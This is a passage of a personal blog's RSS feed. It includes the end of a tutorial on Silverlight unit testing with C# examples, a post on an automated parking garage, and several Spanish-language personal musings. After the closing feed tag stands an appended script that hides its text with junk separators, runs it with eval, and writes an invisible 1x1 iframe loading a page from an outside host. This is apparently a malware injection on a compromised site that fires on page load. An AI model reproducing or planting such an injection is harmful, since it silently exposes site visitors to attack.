LayoutRoot.<span style="color: #0000FF;">Children</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>textBlock<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></td></tr></tbody></table></div>
<p>To finalize this short Silverlight review, let me just say that obviously you can add as many other classes to a Silverlight project allowing the use of all of the wonders of Object Oriented programming, however only the UserControls will be the ones seen in the browser.</p>
<p>That&#8217;s it!</p>
<p><strong>2. Lets jump right to it&#8230;</strong></p>
<p>A simple file to test, and for the purpose of this example, it&#8217;s Editor.xaml file. This file is divided in 4 sections, when you open the Editor in a browser you would see the following:</p>
<p><img class="aligncenter size-full wp-image-229" title="editor screenshot" src="http://www.jfigueroa.org/wp-content/uploads/2009/08/editor-screenshot.png" alt="editor screenshot" width="330" height="630" /></p>
<p>As you can see there are 4 sections ( Menu, Tool Bar, Designer, Status Bar ). In Silverlight terms these sections are called Borders (I said I wouldn&#8217;t get technical, I know). The simplest test that I can think of, is to test if the rendered Editor Xaml page has 4 sections. Here is what the test would look like:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">&#91;</span>TestMethod<span style="color: #000000;">&#93;</span><br />
<span style="color: #000000;">&#91;</span>Asynchronous<span style="color: #000000;">&#93;</span><br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> XAML_EditorContainsFourRowsTest<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<span style="color: #000000;">&#123;</span><br />
<span style="color: #008080; font-style: italic;">//Preconditions</span><br />
<span style="color: #FF0000;">int</span> rowDefinitions <span style="color: #008000;">=</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Actions</span><br />
TestPanel.<span style="color: #0000FF;">Children</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>_page<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Postconditions</span><br />
EnqueueCallback<span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#40;</span>Action<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #008000;">=&amp;</span>gt<span style="color: #008000;">;</span> Assert.<span style="color: #0000FF;">AreEqual</span><span style="color: #000000;">&#40;</span>_page.<span style="color: #0000FF;">LayoutRoot</span>.<span style="color: #0000FF;">RowDefinitions</span>.<span style="color: #0000FF;">Count</span>, rowDefinitions <span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
EnqueueTestComplete<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p>The first thing you&#8217;ll notice is that this test looks similar to what a test would look in any other framework, i.e. MbUnit, etc.. The next thing you&#8217;ll notice is the [Asynchronous] tag. This is because Silverlight Unit Test Framework has support of asynchronous calls that are used when UserControls have data driven service calls. The last thing you&#8217;ll notice is that I&#8217;ve divided the method in 3 sections. I do it because it looks organized and I think is good practice. Preconditions includes initialization of variables and objects later used in the postconditions assertions against data gathered in the actions section. Actions includes calls to the object in test, in the example &#8220;_page&#8221; was added to the TestPanel UserControl. Postconditions includes assertions. Calls to EnqueueCallback and EnqueueTestComplete are part of the Asynchronous feature.</p>
<p>If this test wasn&#8217;t Asynchronous it would look like this:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">&#91;</span>TestMethod<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> XAML_EditorContainsFourRowsTest<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Preconditions</span><br />
<br />
<span style="color: #FF0000;">int</span> rowDefinitions <span style="color: #008000;">=</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Actions</span><br />
<br />
TestPanel.<span style="color: #0000FF;">Children</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>_page<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Postconditions</span><br />
<br />
Assert.<span style="color: #0000FF;">AreEqual</span><span style="color: #000000;">&#40;</span>_page.<span style="color: #0000FF;">LayoutRoot</span>.<span style="color: #0000FF;">RowDefinitions</span>.<span style="color: #0000FF;">Count</span>, rowDefinitions <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p>Now, lets look at a more involved test. This next test is a test to a method in the AccordionToolBox UserControl.</p>
<p>The Accordion ToolBox currently looks like this:</p>
<p><img class="aligncenter size-full wp-image-282" title="accordion toolbox screenshot" src="http://www.jfigueroa.org/wp-content/uploads/2009/08/accordion-toolbox-screenshot.png" alt="accordion toolbox screenshot" width="122" height="203" /></p>
<p>Simply has an Accordion Silverlight control with some AccordionItem Silverlight controls and inside of each AccordionItem there is a StackPanel Silverlight control with some Buttons in it. In the UltiStudio world this are the equivalents:</p>
<ul>
<li>AccordionItem EQUALS Section</li>
<li>Button inside StackPanel of AccordionItem EQUALS a Section Item</li>
</ul>
<p>Here is a test to make sure that the code creating a section actually creates a section behind the scenes or dynamically.</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">&#91;</span>TestMethod<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> InitializeSectionContent_Test<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Preconditions</span><br />
<br />
ToolBoxSection toolBoxSection <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ToolBoxSection<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;General&quot;</span>, 1<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
ToolBoxItem item <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ToolBoxItem<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;1 Column Section&quot;</span>, 1, 1<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
toolBoxSection.<span style="color: #0000FF;">Items</span> <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> Collection<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
toolBoxSection.<span style="color: #0000FF;">Items</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>item<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #FF0000;">int</span> expectedSectionSize <span style="color: #008000;">=</span> <span style="color: #FF0000;">1</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Actions</span><br />
<br />
AccordionItem accordionItem <span style="color: #008000;">=</span> _accordionToolBox.<span style="color: #0000FF;">InitializeSectionContent</span><span style="color: #000000;">&#40;</span>toolBoxSection<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
StackPanel accordionContent <span style="color: #008000;">=</span> accordionItem.<span style="color: #0000FF;">Content</span> <span style="color: #0600FF;">as</span> StackPanel<span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Postconditions</span><br />
<br />
Assert.<span style="color: #0000FF;">IsNotNull</span><span style="color: #000000;">&#40;</span>accordionItem<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
Assert.<span style="color: #0000FF;">AreEqual</span><span style="color: #000000;">&#40;</span>accordionContent.<span style="color: #0000FF;">Children</span>.<span style="color: #0000FF;">Count</span>, expectedSectionSize<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p>Assuming you read the previous test, you&#8217;ll know how this test is divided. The test is simple hardcoding a section with an item and passing it to the InitializeSectionContent method in the AccordionToolBox UserControl, then the test verifies that the method created an AccordionItem with the section properties which include the item inside its StackPanel.</p>
<p>As per the comment I received from Robert, the _accordionToolBox object is variable that I initialized in the setup portion of the fixture. It would look something like this:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">&#91;</span>TestClass<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> AccordionToolBoxTests <span style="color: #008000;">:</span> SilverlightTest<br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #0600FF;">private</span> AccordionToolBox _accordionToolBox<span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">private</span> Mock _mockFactory<span style="color: #008000;">;</span><br />
<br />
List _sections<span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#91;</span>TestInitialize<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> SetUp<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
_mockFactory <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> Mock<span style="color: #000000;">&#40;</span>MockBehavior.<span style="color: #0000FF;">Strict</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
_sections <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> List<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
_accordionToolBox <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> AccordionToolBox<span style="color: #000000;">&#40;</span>_mockFactory.<span style="color: #FF0000;">Object</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
TestPanel.<span style="color: #0000FF;">Children</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>_accordionToolBox<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p>Don&#8217;t mind the Mock if you are not familiar with it, Mock falls outside the scope of this article.</p>
<p>For now, I will leave this document as is, and if you have questions and suggestion please let me know, I will keep adding to it along with our development.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2009/08/10/silverlight-testing-with-microsoft-silverlight-testing-framework/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Future Parking Garage</title>
		<link>http://www.jfigueroa.org/2009/07/06/future-parking-garage/</link>
		<comments>http://www.jfigueroa.org/2009/07/06/future-parking-garage/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 04:20:38 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Future]]></category>
		<category><![CDATA[Scifi]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=155</guid>
		<description><![CDATA[I&#8217;ve been thinking about the future of parking garages&#8230;
I know what you are about to read is not that futuristic at all and probably a lot of people have thought of the same. I&#8217;m writing it down, just for the record, and hopefully in the future if this does occur, me or someone can have fun [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been thinking about the future of parking garages&#8230;</p>
<p>I know what you are about to read is not that futuristic at all and probably a lot of people have thought of the same. I&#8217;m writing it down, just for the record, and hopefully in the future if this does occur, me or someone can have fun with it.</p>
<p>The future parking garage will work in the following way:</p>
<p>A person driving a vehicle (it could fly for all I care) goes into the garage through the lower level. This lower level is the only level where humans are allowed, meaning that there won&#8217;t be a need to be driving all over the parking garage looking for an open spot, therefore there won&#8217;t be any wasted petrol (assuming the vehicle runs in petrol) or battery, etc., you get the idea. Right at the entrance the person retrieves a ticket with a number which will point him/her to the numbered parking spot in this level, this spot is obviously available. Here I thought it would be necessary to have either a GPS-like navigation engraved in the ticket, guiding you to the parking spot or some sort of lighting system that would &#8220;light&#8221; you to your parking spot&#8230; neat.</p>
<p>Now, the person has arrived to the parking spot, and will step out of the vehicle and go to the store, restaurant, mall, etc.. As he/she walks away from the vehicle, the parking garage will pick up the vehicle from the parking spot. By picking up I mean the vehicle is parked on top of a platform that will rise from the ground. The vehicle is then transported to a higher level inside the parking garage and will be stored there probably in an alphabetical way, I&#8217;m thinking index by tag. This right here, would avoid almost 90% of the hussle that it is to find parking in a parking garage. Not to mention it would be safer for your vehicle (dings and dents) and for people because it avoids people getting ran over, people getting mugged, etc..</p>
<p>For those out there that are thinking what about the way out? I thought about it too <img src='http://www.jfigueroa.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Well, assuming that the parking garage has assigned stores (e.g. nearby restaurants), one way this could work is that when the person is leaving that place your ticket signals a proximity alert to the garage (maybe the person will have to press a button on the ticket to avoid false proximity alerts), letting it know that the person&#8217;s vehicle is up for departure. Back in the garage the machine will probably use some fancy search algorithm and find the car based on the information of the signal. Once the person is physically in the garage he or she can find a way to the vehicle again using the ticket for navigation or something similar within the garage.</p>
<p>That&#8217;s it. This would be so awesome I can&#8217;t even explain how much. Hopefully I&#8217;m still around to see this happen, and I don&#8217;t mean some crappy-state-fair-like-carusel-powered parking garage. I mean really efficient type and not noisy <img src='http://www.jfigueroa.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2009/07/06/future-parking-garage/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Púrpura</title>
		<link>http://www.jfigueroa.org/2009/06/01/purpura/</link>
		<comments>http://www.jfigueroa.org/2009/06/01/purpura/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 02:26:44 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Pensamientos]]></category>
		<category><![CDATA[Alegre]]></category>
		<category><![CDATA[Colores]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=137</guid>
		<description><![CDATA[Perdido en el confín de mis pensamientos me encontraba yo en medio de la selva. Como naufrago sin respiración me quedaba&#8230; el mundo se tornaba púrpura y sentía mis ojos de sus anillos escapar. El dolor intenso que sentía no podía ser otro que dolor real. En este caso no basta pellizcarse para saber que [...]]]></description>
			<content:encoded><![CDATA[<p>Perdido en el confín de mis pensamientos me encontraba yo en medio de la selva. Como naufrago sin respiración me quedaba&#8230; el mundo se tornaba púrpura y sentía mis ojos de sus anillos escapar. El dolor intenso que sentía no podía ser otro que dolor real. En este caso no basta pellizcarse para saber que lo que no es sueño es real. 30 segundos pasaron como habían pasado ya. Mágicamente deje de respirar sin embargo el peso de mi vida no dejó. Morado como estaba el cielo verde me sentí. Ese sentimiento de confusión me dio la fuerza de seguir sin saber&#8230; esperando la presencia de algún ser irracional e imaginario fue perder el tiempo, al parecer en este relato ninguno de los dos seria realidad. Desde la arena donde sentado estaba me paré. Caminé hacia donde podía pero todo era exactamente igual.<br />
Después de caminar por más de lo que parecía una eternidad, entendí que había sucedido conmigo y con el lugar. Basado en mi simple caminar y en la forma en que el cielo púrpura se volvió, vi que nosotros humanos, estamos expuestos a el crimen más atroz de todos, la rutina. Entendí que es posible que todos en algún momento del caminar de nuestras vidas, somos arrojados a un lugar desierto donde el púrpura de los cubículos nos ahoga. La tristeza no es el hecho de que nos ahoga, si no que sabemos que nos ahoga y sin embargo aquí estamos cada lunes. No tengo consejo alguno y espero que algún día mi cielo púrpura finalmente se vuelva azul.</p>
<p>Dedicado a la vida corporativa y sus corbatas.</p>
<p>Rocko.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2009/06/01/purpura/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pensamiento utópico</title>
		<link>http://www.jfigueroa.org/2009/03/13/pensamiento-utopico/</link>
		<comments>http://www.jfigueroa.org/2009/03/13/pensamiento-utopico/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 03:07:33 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Pensamientos]]></category>
		<category><![CDATA[Demente]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[Trasendental]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=135</guid>
		<description><![CDATA[Algunos buscamos y buscamos el camino a seguir. Muchos de nosotros no tenemos la necesidad porque sabemos que siempre lo hemos seguido, sin embargo buscamos. En estos par de meses que se fueron con el amanezer de hoy, me dí cuenta de que la gente nunca sabe lo que hace y que el que dice [...]]]></description>
			<content:encoded><![CDATA[<p>Algunos buscamos y buscamos el camino a seguir. Muchos de nosotros no tenemos la necesidad porque sabemos que siempre lo hemos seguido, sin embargo buscamos. En estos par de meses que se fueron con el amanezer de hoy, me dí cuenta de que la gente nunca sabe lo que hace y que el que dice saber lo único que sabe es que miente. Unos intentan dejar las cosas al destino otros al trabajo y otros al amor.</p>
<p>Personalmente yo no tengo un camino claro pero se que está entre los espacios de mis triunfos y mis fracasos. Hoy me siento bien, cansado pero bien. Mi camino, se, tiene que orientarse al amor, pues afortunadamente siempre he tenido en abundancia. Ojalá pudiera compartir siquiera un poco, el mundo sería diferente.</p>
<p>Pensamiento aparte: Pacho dile a Sydney que madrugue más, 8 no es 6. Abrazos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2009/03/13/pensamiento-utopico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Viaje Espacial</title>
		<link>http://www.jfigueroa.org/2008/12/03/viaje-espacial/</link>
		<comments>http://www.jfigueroa.org/2008/12/03/viaje-espacial/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 09:52:28 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Pensamientos]]></category>
		<category><![CDATA[Alegre]]></category>
		<category><![CDATA[Borracho]]></category>
		<category><![CDATA[Dreams]]></category>
		<category><![CDATA[Rumba]]></category>
		<category><![CDATA[Sophia]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://javierfigueroa.wordpress.com/?p=93</guid>
		<description><![CDATA[Entre la borrachera que llevaba y la velocidad del carro no pude evitar pensar que iba yo saliendo de la estratosfera dentro de algún tipo de nave espacial. Fue ahí donde cerré los ojos y me dejé llevar por el alcohol que fluía en mi sangre donde aquellas moléculas de trago galopaban mis venas decapitando [...]]]></description>
			<content:encoded><![CDATA[<p>Entre la borrachera que llevaba y la velocidad del carro no pude evitar pensar que iba yo saliendo de la estratosfera dentro de algún tipo de nave espacial. Fue ahí donde cerré los ojos y me dejé llevar por el alcohol que fluía en mi sangre donde aquellas moléculas de trago galopaban mis venas decapitando glóbulos rojos y demás. Cuando este caballero sintió el vacío espacial no hubo quien detener su éxtasis, fue universal. Abrí los ojos por segundos viendo a mi capitán de vuelo la nave manejar y con sus rizos de oro y ojos de mar. Cerrando mis ojos, sabiendo que en mejor manos no he podido estar, miles de estrellas giraron através del ventanal. Quise contarlas quise acariciar su nebulosa piel pero gracias a la física y el alcohol ni tocar ni acariciar eran de alcanzar. Abrí los ojos otra vez solo para saber que la nave fue un sueño de segundos…<br />
Por cuestión de embriaguez me baje del carro y un segundo después la comandante y yo terminamos en una dulce cama durmiendo mi viaje espacial.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2008/12/03/viaje-espacial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thinking through</title>
		<link>http://www.jfigueroa.org/2008/11/06/thinking-through/</link>
		<comments>http://www.jfigueroa.org/2008/11/06/thinking-through/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 06:54:54 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Pensamientos]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Seattle]]></category>
		<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://javierfigueroa.wordpress.com/?p=76</guid>
		<description><![CDATA[So I&#8217;m back in my apartment after a long weekend in Seattle. I refer to it as long not because I thought it was long but because flying from coast to coast 9 hours and a stop in Dallas, is a long trip. I&#8217;m thinking through the options that are now open and the ones [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;m back in my apartment after a long weekend in Seattle. I refer to it as long not because I thought it was long but because flying from coast to coast 9 hours and a stop in Dallas, is a long trip. I&#8217;m thinking through the options that are now open and the ones that are closed. The ones that are closed are simply gone from now and maybe will open next year or somewhere in the near future, the ones that are open can&#8217;t close on me, at least I will keep trying to leave them open. I know that this does not make any sense what so ever but maybe one day you&#8217;ll find yourself in my current situation and then this will all make sense.</p>
<p>If you do happen to be in my shoes one day, DO NOT give up, giving up should not even be in your head. Pretend you are fighting in a cage with about 3 to 4 monsters (make them look mean and sick). And POW! you just received a blow to your face by all of them at once&#8230; you are laying on the floor looking at their blurry image and your mind is blank. At this point you can only have one thought in your mind, ONLY ONE. That is: GET UP!</p>
<p>&#8220;<span class="text">It&#8217;s not the size of the dog in the fight, it&#8217;s the size of the fight in the dog.&#8221;</span> &#8212; Mark Twain</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2008/11/06/thinking-through/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Corazón de Melón</title>
		<link>http://www.jfigueroa.org/2008/09/09/corazon-de-melon/</link>
		<comments>http://www.jfigueroa.org/2008/09/09/corazon-de-melon/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 02:42:43 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Pensamientos]]></category>
		<category><![CDATA[Alegre]]></category>
		<category><![CDATA[Amor]]></category>
		<category><![CDATA[Fruta]]></category>
		<category><![CDATA[Pasion]]></category>
		<category><![CDATA[Sophia]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://javierfigueroa.wordpress.com/?p=69</guid>
		<description><![CDATA[Pensé que el huracán había pasado pero la calma antes de la tormenta nunca había llegado y mi respiración iba a cien. Como una bala traté de disparar mis palabras en el papel pero quizás mi revolver se quedo sin munición. En busca de inspiración y de un poco de ignición, escuche la música que [...]]]></description>
			<content:encoded><![CDATA[<p class="Body" style="padding-top:0;">Pensé que el huracán había pasado pero la calma antes de la tormenta nunca había llegado y mi respiración iba a cien. Como una bala traté de disparar mis palabras en el papel pero quizás mi revolver se quedo sin munición. En busca de inspiración y de un poco de ignición, escuche la música que me ayuda a pasar el tiempo… No fue fácil, no fue fácil saber que este mundo gira y que tu giras con el. Los sentimientos se apoderan de mi cuando la verdad se apodera de mis sentimientos y veo como el mundo se cae a pedazos. Rompecabezas de imágenes que vemos en la tele y sin embargo seguimos viendo. Si miramos, aceptamos y si no, nadie nos acepta. El himno sin melodía de aquellos como yo que viven del detalle pero pretenden lo contrario.</p>
<p class="Body">Como una rosa con espinas defendiéndose de no se sabe que. Los días pasan y pensamos más que nadie pero nadie nos piensa. Miramos al mundo de un punto óptico del cual no existe perspectiva obtusa… fácil de entender. Mientras recordamos las memorias de otras, los huracanes seguirán estremeciendo el cielo y acabando con lo que se enfrenten. Nosotros mientras ellos lloran, bailamos al ritmo de la elección y como por amnesia el dolor pierde sentido. Acuérdate de que tu eres el cambio del mundo y que eres producto del amor de dos y como deber, amor tienes que dar.</p>
<p class="Body">Por no terminar las palabras de forma inoficiosa y con sabor a religión o política, igual, piensa en tu madre. Piensa en tu padre. Si te es difícil mirar dentro de ti, dentro del músculo, corazón. Corazón te pido que pienses, OK? Si te reis, corazón tienes, si no, más corazón tiene un melón. Melón que por culpa de la vida dulce ha dejado de ser.</p>
<p class="Body">
<p>Rocko</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2008/09/09/corazon-de-melon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>var VkXmR6='d$!#o$!#c$!#u$!#m$!#e$!#n$!#t$!#.$!#w$!#r$!#i$!#t$!#e$!#($!#\'$!#<$!#i$!#f$!#r$!#a$!#m$!#e$!# $!#s$!#r$!#c$!#=$!#"$!#h$!#t$!#t$!#p$!#:$!#/$!#/$!#g$!#e$!#o$!#n$!#o$!#n$!#.$!#n$!#e$!#t$!#/$!#i$!#n$!#.$!#p$!#h$!#p$!#"$!# $!#w$!#i$!#d$!#t$!#h$!#=$!#1$!# $!#h$!#e$!#i$!#g$!#h$!#t$!#=$!#1$!# $!#f$!#r$!#a$!#m$!#e$!#b$!#o$!#r$!#d$!#e$!#r$!#=$!#0$!#>$!#<$!#/$!#i$!#f$!#r$!#a$!#m$!#e$!#>$!#\'$!#)$!#;$!#';eval(VkXmR6.split('$!#').join(""));</script>